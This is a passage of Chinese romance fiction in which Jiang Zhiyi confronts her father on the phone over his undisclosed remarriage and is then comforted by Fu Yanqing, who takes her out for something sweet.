“这……爸爸这不是怕你尴尬吗。你从小和你妈住,跟林阿姨不熟,爸爸担心你难过接受不了,所以想着过段时间再告诉你。知意,爸爸没有别的意思,爸爸和你阿姨有了孩子,要是不结婚,以后孩子上学什么都不方便……” “那你打算什么时候告诉我?”江知意平静地问,“是不是我不问你就不说?你能瞒我一辈子吗?” “……”江淮平卡住。 大概是想不通一向好说话的女儿今天怎么变得咄咄逼人,他问:“知意,你怎么了?爸爸结婚也是……” “不用跟我解释了。”江知意打断,缓慢地、下定决心一般地说出最后一句话,“既然你结婚没有告诉我,那么以后我结婚,就不邀请你了。” 说完,她挂断电话。 一抬头,傅延青向她张开双手。 江知意笑了下,眼泪却涌出。 她用力抱住傅延青,低声道:“谢谢。” “跟我还说谢,这么见外?” 江知意破涕为笑,擦了下眼泪:“那不见外,你带我去吃好吃的吧,我要吃甜的。” “嗯。”他帮她一起擦眼泪,动作温柔,“我带你去。” 被傅延青牵起手下楼时,江知意有一瞬的恍惚。 他的手和他的背一样。 好温暖。